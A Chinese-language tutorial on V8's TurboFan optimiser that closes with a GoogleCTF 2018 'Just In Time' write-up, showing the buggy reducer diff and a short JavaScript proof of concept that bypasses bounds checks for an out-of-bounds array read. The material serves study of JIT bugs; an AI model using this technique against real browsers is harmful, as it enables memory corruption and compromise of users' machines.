


首先會將JavaScript代碼傳遞給 V8 引擎,並將其遞給Parse
然後它會根據代碼生成對應的抽象語法樹(AST)
接下來,Ignition解釋器就會直接根據AST生成對應的字節碼,並開始執行它們
會有另外一個線程監測代碼的執行過程,收集合適的數據進行回調
TurboFan會根據這些數據優化字節碼,讓它們能夠更快的執行
一個最簡單的例子是,如果在運行過程中,TurboFan發現某個函數的參數無論如何都只會是32bit整數,而不會是其他任何類型,那麼它就可以省略掉很多類型檢查上的操作了,完全有可能讓一些加法被優化為單純的add指令,而不是其他更加複雜的函數;但如果運行中發現,在某一時刻,傳入的參數類型發生了變化,那麼就會去除這次的優化,令代碼回到本來的狀態。
從安全的角度來說,如果一段被優化後的代碼在遇到某些非法輸入時沒能正確的執行「去優化(deoptimizations)」步驟或是甚至沒有做deoptimizations,就有可能導致這段代碼被錯誤的使用。


字節碼是根據語法樹轉換而來的,那不如我們先從語法樹開始 。通過添加參數--print-ast可以令其打印出AST。來看下面的示例:
function add(val1, val2) { return val1 + val2;}var res1=add(1,2);var res2=add("a","b");$ ./d8 ./bytecode.js --print-ast[generating bytecode for function: ]--- AST ---FUNC at 0. KIND 0. LITERAL ID 0. SUSPEND COUNT 0. NAME "". INFERRED NAME "". DECLS. . FUNCTION "add" = function add. . VARIABLE (0x56295442b6b0) (mode = VAR, assigned = true) "res1". . VARIABLE (0x56295442b7c8) (mode = VAR, assigned = true) "res2". BLOCK NOCOMPLETIONS at -1. . EXPRESSION STATEMENT at 62. . . INIT at 62. . . . VAR PROXY unallocated (0x56295442b6b0) (mode = VAR, assigned = true) "res1". . . . CALL. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add". . . . . LITERAL 1. . . . . LITERAL 2. BLOCK NOCOMPLETIONS at -1. . EXPRESSION STATEMENT at 81. . . INIT at 81. . . . VAR PROXY unallocated (0x56295442b7c8) (mode = VAR, assigned = true) "res2". . . . CALL. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add". . . . . LITERAL "a". . . . . LITERAL "b"[generating bytecode for function: add]--- AST ---FUNC at 12. KIND 0. LITERAL ID 1. SUSPEND COUNT 0. NAME "add". PARAMS. . VAR (0x56295442b6e0) (mode = VAR, assigned = false) "val1". . VAR (0x56295442b760) (mode = VAR, assigned = false) "val2". DECLS. . VARIABLE (0x56295442b6e0) (mode = VAR, assigned = false) "val1". . VARIABLE (0x56295442b760) (mode = VAR, assigned = false) "val2". RETURN at 31. . ADD at 43. . . VAR PROXY parameter[0] (0x56295442b6e0) (mode = VAR, assigned = false) "val1". . . VAR PROXY parameter[1] (0x56295442b760) (mode = VAR, assigned = false) "val2"
第一個AST是整個程序執行流的,而第二個則是函數add的AST,我們的重點放在第二個上並將其轉為流程圖:
+---------+ +---------+ Function+----------+ | +---------+ | +--v---+ +----v---+ |params| | return | +---------------+ +----+---+ | | | | | |+----v-----+ +----------+ +----v----+| var val1 | | var val2 | | add |+----------+ +----------+ +------+---------+-------+ | | | | +-------v--------+ +---------v------+ | var proxy val1 | | var proxy val2 | +----------------+ +----------------+
出於一些特殊的規則,語法樹會為函數創建兩個分支,一個用於參數,另外一個則用於執行流。並且,執行流中使用var proxy結點代替參數,當使用到參數時,這兩個結點會從左子樹中的參數結點中獲取變量。
而如果附帶--print-bytecode參數,就能夠得到其對應的字節碼:
[generated bytecode for function: add (0x314000253b61 <SharedFunctionInfo add>)]Bytecode length: 6Parameter count 3Register count 0Frame size 0Bytecode age: 0 0x314000253d3e @ 0 : 0b 04 Ldar a1 0x314000253d40 @ 2 : 39 03 00 Add a0, [0] 0x314000253d43 @ 5 : a9 Return Constant pool (size = 0)Handler Table (size = 0)Source Position Table (size = 0)
Parameter count:參數個數。除了我們提供的參數以外,還包括了一個this指針。
Ignition使用一種名為 「register machine」 的機制來模擬寄存器,其中有一個與x86下的rax相似的accumulator register(累加寄存器),它用於常規的計算以及返回值。
具體的字節碼就不再做翻譯了,因為下文中其實不怎麼需要它,此處多有一些拋磚引玉的意思。


通過添加參數--trace-opt和--trace-deopt可以跟蹤程序的優化和去優化過程:
class Player{}class Wall{}function move(obj) { var tmp = obj.x + 42; var x = Math.random(); x += 1; return tmp + x;}for (var i = 0; i < 0x10000; ++i) { move(new Player());}move(new Wall());for (var i = 0; i < 0x10000; ++i) { move(new Wall());}$ ./d8 ./bytecode.js --trace-opt --trace-deopt[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function][compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan][optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.139, 0.330, 0.015 ms][completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)][marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable][compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR][optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.137, 0.687, 0.019 ms][bailout (kind: deopt-soft, reason: Insufficient type feedback for construct): begin. deoptimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)>, opt id 1, bytecode offset 123, deopt exit 6, FP to SP delta 96, caller SP 0x7ffdd0530428, pc 0x3fe4001c4b51][bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)>, opt id 0, bytecode offset 0, deopt exit 1, FP to SP delta 32, caller SP 0x7ffdd05303b8, pc 0x3fe4001c485f][marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function][compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan][marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable][optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.138, 0.612, 0.098 ms][completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)][compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR][optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.253, 0.901, 0.044 ms]
可以注意到,當程序多次執行move(new Player())時,TurboFan認為可以對此做更進一步的優化以加快程序執行;而讓其遇到move(new Wall())時,則因為二者的不同類型而出現wrong map,於是其去除以前的優化並重新執行,再之後又因為多次執行而再次優化。
也可以通過%PrepareFunctionForOptimization()與%OptimizeFunctionOnNextCall()來進行主動優化,不過這需要您在執行時添加參數--allow-natives-syntax來允許這種語法。
另外,具體的過程我們會在接下來的內容說明。目前我們需要知道的事實僅有如上這部分內容。
圖形化分析function add(x){ var va1=1; if(x) va1=0; return 1+va1;}for (let i = 0; i < 0x10000; ++i) { add(true);}for (let i = 0; i < 0x10000; ++i) { add(false);}
通過添加--trace-turbo可以在目錄下生成*.json和*.cfg*,我們可以將add函數導出的json導入到turbolizer中以獲取到對應的值傳遞圖:(隱藏了一部分,優化以前的狀態)
在值傳遞的過程中可以注意到,Turbofan總是傳遞Range(n,n)類型,它表示傳出的值的上下限,對於常數來說,它的上下界是相同的;而對於SpeculativeSafeIntergerAdd這類運算函數,它的類型則根據執行流分別計算下界和上界。
另外,因為一些編譯原理上的設計,每個變量只會經過一次賦值,因此需要使用Phi結點去對值進行選擇。儘管它只可能返回0或1,但仍然給出了Range(0,1)。
在完成基本的構建以後,是通過TyperPhase::Run對整個結構圖進行遍歷並確定所有結點的屬性,其調用鏈大致如下:
TyperPhase::Run-->Typer::Run-->GraphReducer::ReduceGraph-->Typer::Visitor::Reduce-->Typer::Visitor::***Typer(此處 * 用以指代某個名稱,例如 JSCall)
這會遍歷每一個結點,並根據它們的輸入來確定最後的類型,並且在這個過程中,它會嘗試減少一部分節點來加快運行效率。
姑且用一段簡單的源代碼來說明一下這個過程,哪怕我並不希望在入門階段就立刻進入源代碼層面,但又似乎逃不開它:
void Typer::Run(const NodeVector& roots, LoopVariableOptimizer* induction_vars) { if (induction_vars != nullptr) { induction_vars->ChangeToInductionVariablePhis(); } Visitor visitor(this, induction_vars); GraphReducer graph_reducer(zone(), graph(), tick_counter_, broker()); graph_reducer.AddReducer(&visitor); for (Node* const root : roots) graph_reducer.ReduceNode(root); graph_reducer.ReduceGraph(); ··· induction_vars->ChangeToPhisAndInsertGuards(); }}
在Typer::Run中會調用ReduceGraph嘗試對結點進行縮減,它最終會根據結點的類型來確定運行的函數:
Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) { return Type::NonInternal(); } JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction(); if (!function.shared().HasBuiltinId()) { return Type::NonInternal(); } switch (function.shared().builtin_id()) { case Builtin::kMathRandom: return Type::PlainNumber(); case Builtin::kMathFloor: case Builtin::kMathCeil: case Builtin::kMathRound: case Builtin::kMathTrunc: return t->cache_->kIntegerOrMinusZeroOrNaN;···
這是一個龐大的switch ,對於那些內置函數(buildin),它能夠很快找出對應的類型;而對於一些其他類型的函數,則返回NonInternal。這麼做的目的是能夠簡化一些檢查操作,既然判明了這個結點必然會是某個確定的屬性,就不再需要對它的輸入做其他類型的檢查了。
對於常數,也有類似卻又小得多的結果:
Type Typer::Visitor::TypeNumberConstant(Node* node) { double number = OpParameter<double>(node->op()); return Type::Constant(number, zone()); }
然後再進入Type::Constant:
Type Type::Constant(double value, Zone* zone) { if (RangeType::IsInteger(value)) { return Range(value, value, zone); } else if (IsMinusZero(value)) { return Type::MinusZero(); } else if (std::isnan(value)) { return Type::NaN(); } DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value)); return OtherNumberConstant(value, zone); }
對於普通整數的返回值自然就是一個Range了,另外還有兩種值被使用-0和NaN。
而Speculative前綴含有推測的意思,這往往意味着這個函數能夠根據情況進一步優化,例如SpeculativeSafeIntegerAdd就是如此。在優化以前,它會以這個結點表示所有的加法,而在它通過代碼運行時分析,發現其執行數據符合一定的預期時,就能夠用更加具體且更加快速的函數來替代了。
Type OperationTyper::SpeculativeToNumber(Type type) { return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone()));}
ToNumber會繼續向下化簡,最終根據我們給出的Range選擇一個合適的函數替代,我們以如下的例子說明:
假如我們使用一個稍大一些的數:
let opt_me = (x) => { return x + 1000000000000;}opt_me(42);for(var i=0;i<0x10000;i++){opt_me(4242);}
就會使用SpeculativeNumberAdd替代它:
而如果我們只使用一些較小的數:
let opt_me= (x) => { let y = x ? 10 : 20; return y + 100;}for(var i=0;i<0x10000;i++){opt_me(false);}
就會生成相當簡單的Int32Add:
另外,而如果需要通過索引來讀取數組:
function opt() { var arr = [1.1,2.2]; var x = 1; return arr[x];}for (var i=0;i<0x20000;i++) { opt();}
有一個特殊的函數是CheckBounds,它會檢查輸入的索引值是否越界,然後才能夠返回對應的數。它的類型也是Range,通過確定的上下界就能夠很容易的分析出索引是否越界,因此在舊版的V8中會在優化後消除檢查;不過,在現在的版本里,這個檢查又加回來了:
總結一下目前可能產生的優化:
JSCall調用內置函數結點被PlainNumber等已知類型替代
NumberConstant以Range(n,n)表示
SpeculativeNumberAdd(PlainNumber, PlainNumber)則會以PlainNumber表示,
當然,肯定不只是這些內容,但我們沒必要全部展開一一闡明,並且我相信您至少對這種替換有了一定的認識了。
但這只是初步優化,接下來還會做不同階段的分層優化:
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(), data->jsgraph(), data->broker()); AddReducer(data, &graph_reducer, &dead_code_elimination); AddReducer(data, &graph_reducer, &create_lowering); AddReducer(data, &graph_reducer, &constant_folding_reducer); AddReducer(data, &graph_reducer, &typed_lowering); AddReducer(data, &graph_reducer, &typed_optimization); AddReducer(data, &graph_reducer, &simple_reducer); AddReducer(data, &graph_reducer, &checkpoint_elimination); AddReducer(data, &graph_reducer, &common_reducer);
在TypedOptimization中,會調用各類Reduce函數對類型進行優化,例如上述的SpeculativeNumberAdd:
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) { Node* const lhs = NodeProperties::GetValueInput(node, 0); Node* const rhs = NodeProperties::GetValueInput(node, 1); Type const lhs_type = NodeProperties::GetType(lhs); Type const rhs_type = NodeProperties::GetType(rhs); NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNumber(y)) Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node* const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(value); } return NoChange();}
這會嘗試通過NumberOperationHintOf來判別我們的表達式行為:
NumberOperationHint NumberOperationHintOf(const Operator* op) { DCHECK(op->opcode() == IrOpcode::kSpeculativeNumberAdd || op->opcode() == IrOpcode::kSpeculativeNumberSubtract || op->opcode() == IrOpcode::kSpeculativeNumberMultiply || op->opcode() == IrOpcode::kSpeculativeNumberPow || op->opcode() == IrOpcode::kSpeculativeNumberDivide || op->opcode() == IrOpcode::kSpeculativeNumberModulus || op->opcode() == IrOpcode::kSpeculativeNumberShiftLeft || op->opcode() == IrOpcode::kSpeculativeNumberShiftRight || op->opcode() == IrOpcode::kSpeculativeNumberShiftRightLogical || op->opcode() == IrOpcode::kSpeculativeNumberBitwiseAnd || op->opcode() == IrOpcode::kSpeculativeNumberBitwiseOr || op->opcode() == IrOpcode::kSpeculativeNumberBitwiseXor || op->opcode() == IrOpcode::kSpeculativeNumberEqual || op->opcode() == IrOpcode::kSpeculativeNumberLessThan || op->opcode() == IrOpcode::kSpeculativeNumberLessThanOrEqual || op->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd || op->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract); return OpParameter<NumberOperationHint>(op);}
最終它會發現,如果表達式的二值均為NumberOperationHint::kNumber這類數字而不會是字符串或其他類型,那麼就能夠將SpeculativeNumberAdd替換為NumberAdd。
JSTypedLowering::ReduceJSCall也有類似的操作,這裡不再展開,讀者可以自行嘗試對照源代碼。


GoogleCTF2018-Just In Time
慣例根據一個實際的樣本來說明Turbofan的利用過程,理解一下這種優化在什麼情況下能夠被利用。首先我們從資料較多的例題開始。
題目附件給了diff文件,我們可以直接閱讀代碼來確定問題所在:
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase { data->jsgraph()->Dead()); DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(), data->common(), temp_zone); + DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(), + data->common()); ··· @@ -1318,6 +1321,7 @@ struct TypedLoweringPhase { data->js_heap_broker(), data->common(), data->machine(), temp_zone); AddReducer(data, &graph_reducer, &dead_code_elimination); + AddReducer(data, &graph_reducer, &duplicate_addition_reducer); AddReducer(data, &graph_reducer, &create_lowering);
可以注意到,在最後的一系列優化中,題目添加了一個額外的優化,向上跟蹤可以找到其來自於DuplicateAdditionReducer再往上找即可發現關鍵的漏洞代碼:
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {+ switch (node->opcode()) {+ case IrOpcode::kNumberAdd:+ return ReduceAddition(node);+ default:+ return NoChange();+ }+}++Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {+ DCHECK_EQ(node->op()->ControlInputCount(), 0);+ DCHECK_EQ(node->op()->EffectInputCount(), 0);+ DCHECK_EQ(node->op()->ValueInputCount(), 2);++ Node* left = NodeProperties::GetValueInput(node, 0);+ if (left->opcode() != node->opcode()) {+ return NoChange();+ }++ Node* right = NodeProperties::GetValueInput(node, 1);+ if (right->opcode() != IrOpcode::kNumberConstant) {+ return NoChange();+ }++ Node* parent_left = NodeProperties::GetValueInput(left, 0);+ Node* parent_right = NodeProperties::GetValueInput(left, 1);+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {+ return NoChange();+ }++ double const1 = OpParameter<double>(right->op());+ double const2 = OpParameter<double>(parent_right->op());+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));++ NodeProperties::ReplaceValueInput(node, parent_left, 0);+ NodeProperties::ReplaceValueInput(node, new_const, 1);++ return Changed(node);+}
我們篩出關鍵的分支判斷和漏洞代碼:
+ switch (node->opcode()) {+ case IrOpcode::kNumberAdd:+ ···+ if (left->opcode() != node->opcode()) {+ ···+ if (right->opcode() != IrOpcode::kNumberConstant) {+ ···+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {+ ···+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
總結如下:- 結點本身為 kNumberAdd - 左樹結點也為 kNumberAdd - 右樹結點為 kNumberConstant - 左樹的右父節點也為 kNumberConstant - 滿足以上條件時,將該結點替換為NumberConstant(const1+const2),意味將兩個常數合併
滿足條件的情況下,其結點樹大致如下:x+constant+constant
+------------------+ | kNumberConstant | +------+ | | +------------------+ | | |+---------v------+ +------------------+| kNumberAdd | |kNumberConstant || | | |+---------+------+ +--------+---------+ | | | | | | | +---------------+ | +-------> kNumberAdd <--------+ | | +---------------+
之後它會將兩個常數結點運算後替換成x+constant,這樣在執行時就能減少一次運算了。
不知您是否發現了某些問題,如果我們在代碼層面寫的是Index[x+1+1],那麼它是一條可執行的語句,而如果寫Index[x+2]則會被檢查出越界;那如果我們寫入Index[x+1+1]使其通過檢查後,讓優化器把這段語句自動優化成了Index[x+2],是否就能夠繞過邊界檢查實現越界讀寫呢?
我們可以直接上代碼試試這個事實:
V8 version 7.3.0 (candidate)d8> x=Number.MAX_SAFE_INTEGER9007199254740991d8> x=x+19007199254740992d8> x=x+19007199254740992d8> x=x+19007199254740992
這個事實在各個版本中都存在,儘管它並不一定算是個問題,但和題目的優化機制結合就變得可以利用了。
一個簡單的越界
function oob(x){ var double_array=[1.1,2.2,3.3,4.4]; //Number.MAX_SAFE_INTEGER=9007199254740991; let t=(x==0)?Number.MAX_SAFE_INTEGER-2:Number.MAX_SAFE_INTEGER+1; //Range(9007199254740991-2,9007199254740991+1); t=t+1+1; //優化前:Range(9007199254740991,9007199254740991+1); //優化後:Range(9007199254740991,9007199254740991+3); t=t-9007199254740989; //優化前:Range(2,3) //優化後:Range(2,5) return double_array[t];}console.log(oob(0));console.log(oob(1));%OptimizeFunctionOnNextCall(oob);console.log(oob(1));
執行它將會打印出如下內容:
$ ./d8 exp.js --allow-natives-syntax --trace-turbo3.34.40
我們可以嘗試通過節點海跟蹤一下這個分析過程。在沒有進行優化時,我們得到的節點海為:
此時將遍歷所有結點,並通過計算得出它們的Range取值範圍。可以發現,此時的CheckBounds得知這個範圍為Range(2,3),這是不可能發生溢出的。
然後到了typedlowering階段,將開始進行初步的優化,可以注意到,此時1+1已經被優化為了NumberConstant[2],但並沒有重新計算CheckBounds得到的範圍。
由於turbofan發現這個結點獲得的索引始終都在Range(2,3),因此在simplified lowering階段已經將這個結點刪除:
而當完成優化以後,再次執行這個函數時,t+1+1變成t+2導致了計算結果超出預期進行越界讀寫,卻沒能被檢查出來,因此得到了越界的能力。
總結以下上述的過程就是:
Range只在最初的階段進行計算
而如果後續的優化會導致Range的範圍變動,而turbofan並不會重新計算
於是該值發生越界
當然,由於現在的版本不再刪除checkbound結點,因此這個問題只會發生在過去,但它仍然值得我們學習。
能夠越界讀寫以後,泄露地址和偽造數據自然不在話下。只要修改JSArray的length屬性為需要的值,之後就能夠隨意讀寫界外了。相關代碼如下:
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) { uint32_t length = 0; if (receiver->IsJSArray()) { // 獲取 JSArray 的 length JSArray::cast(*receiver)->length()->ToArrayLength(&length); } else if (receiver->IsString()) { length = String::cast(*receiver)->length(); } else if (receiver->IsJSObject()) { length = JSObject::cast(*receiver)->elements()->length(); } else { return false; } // 判斷是否越界 return index >= length;}
具體的利用已經有很多師傅詳細聊過,因此本篇就不做多餘的贅述了。
END


